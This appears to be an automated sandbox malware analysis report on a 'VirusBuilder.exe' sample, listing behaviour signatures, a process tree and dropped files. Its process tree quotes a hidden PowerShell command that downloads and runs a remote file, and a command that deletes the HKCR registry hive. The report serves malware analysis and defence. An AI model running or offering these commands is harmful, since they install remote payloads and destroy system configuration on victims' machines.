Overview

overview

8

Static

static

3

Extractor.exe

windows10-2004-x64

3

Extractor.exe

windows11-ltsc_2024-x64

3

Guna.UI2.dll

windows10-2004-x64

1

Guna.UI2.dll

windows11-ltsc_2024-x64

1

VirusBuilder.exe

windows10-2004-x64

3

VirusBuilder.exe

windows11-ltsc_2024-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    176s
  • max time network
    276s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 02:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    VirusBuilder.exe
  • Size 522KB
  • Sample261024-cf8fda1zex
  • SHA256 cf4b1f40d6d51aff94cdab689e598a3d419e4dc1cbf194d92a545ad20c4d1900
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomware

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 1 IoCs
  • Modifies system executable filetype association 2 TTPs 34 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\VirusBuilder.exe
    "C:\Users\Admin\AppData\Local\Temp\VirusBuilder.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Modifies Control Panel
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1984
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wiwrfito\wiwrfito.cmdline"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5752
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA39F.tmp" "c:\Users\Admin\Downloads\CSC63686175820A45E29FB38CAE3AE55ACF.TMP"
        3⤵
          PID:3932
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:2572
      • C:\Windows\SysWOW64\DllHost.exe
        C:\Windows\SysWOW64\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
        1⤵
        • System Location Discovery: System Language Discovery
        PID:1928
      • C:\Users\Admin\Desktop\3mkVirus.exe
        "C:\Users\Admin\Desktop\3mkVirus.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4328
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
          2⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4076
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2704
          • C:\Windows\system32\reg.exe
            reg delete HKCR /f
            3⤵
            • Modifies system executable filetype association
            • Modifies registry class
            PID:2992
      • C:\Windows\system32\AUDIODG.EXE
        C:\Windows\system32\AUDIODG.EXE 0x00000000000004D4 0x00000000000004CC
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2616

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            RESA39F.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\RESA39F.tmp
            • Size 1KB
            • SHA256 c2bbdaa86dac54c24620d05c6ad3c66b5f79561cf3983f6149888111d238d4aa
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            3mkVirus.exe
            • Path C:\Users\Admin\Downloads\3mkVirus.exe
            • Size 37KB
            • SHA256 1899d047221224288ccf0f065b13fe0e084ab3cbcf4f28ac7753f73bb4b5e96b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            CSC63686175820A45E29FB38CAE3AE55ACF.TMP
            • Path C:\Users\Admin\Downloads\CSC63686175820A45E29FB38CAE3AE55ACF.TMP
            • Size 1KB
            • SHA256 50224459dfc07713fc0979862defb253f5521731b30d29e8bfe15b2e8ab28a23
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            tmpA277.tmp
            • Path \??\c:\Users\Admin\AppData\Local\Temp\tmpA277.tmp
            • Size 389B
            • SHA256 3d8525da7d16c956a051fda844de190eda4bf1373627f39261d4ac372acaf8db
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            wiwrfito.0.cs
            • Path \??\c:\Users\Admin\AppData\Local\Temp\wiwrfito\wiwrfito.0.cs
            • Size 32KB
            • SHA256 c0471f1392faa6c1df939be1873c08861aafbdefff79ae4fa7d23801e33dc25d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            wiwrfito.cmdline
            • Path \??\c:\Users\Admin\AppData\Local\Temp\wiwrfito\wiwrfito.cmdline
            • Size 324B
            • SHA256 1795c22722b327b6f5ca3cce7fac5b614e1fb449dd6a685fa16609667d4bc67d
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/1984-6-0x0000000005C30000-0x0000000005E4C000-memory.dmp
            Download

            memory/1984-5-0x0000000005870000-0x0000000005902000-memory.dmp
            Download

            memory/1984-8-0x0000000074292000-0x0000000074293000-memory.dmp
            Download

            memory/1984-9-0x0000000074280000-0x0000000074A3C000-memory.dmp
            Download

            memory/1984-10-0x0000000074280000-0x0000000074A3C000-memory.dmp
            Download

            memory/1984-11-0x0000000074280000-0x0000000074A3C000-memory.dmp
            Download

            memory/1984-12-0x0000000074280000-0x0000000074A3C000-memory.dmp
            Download

            memory/1984-13-0x0000000074280000-0x0000000074A3C000-memory.dmp
            Download

            memory/1984-0-0x0000000074292000-0x0000000074293000-memory.dmp
            Download

            memory/1984-7-0x0000000005FC0000-0x0000000005FCA000-memory.dmp
            Download

            memory/1984-4-0x00000000063F0000-0x00000000069AA000-memory.dmp
            Download

            memory/1984-3-0x0000000074280000-0x0000000074A3C000-memory.dmp
            Download

            memory/1984-2-0x00000000053B0000-0x00000000053C8000-memory.dmp
            Download

            memory/1984-1-0x0000000000A20000-0x0000000000AB0000-memory.dmp
            Download

            memory/1984-42-0x0000000074280000-0x0000000074A3C000-memory.dmp
            Download

            memory/1984-35-0x0000000074280000-0x0000000074A3C000-memory.dmp
            Download

            memory/4076-41-0x0000019578540000-0x0000019578562000-memory.dmp
            Download

            memory/4328-34-0x00000000005F0000-0x0000000000600000-memory.dmp
            Download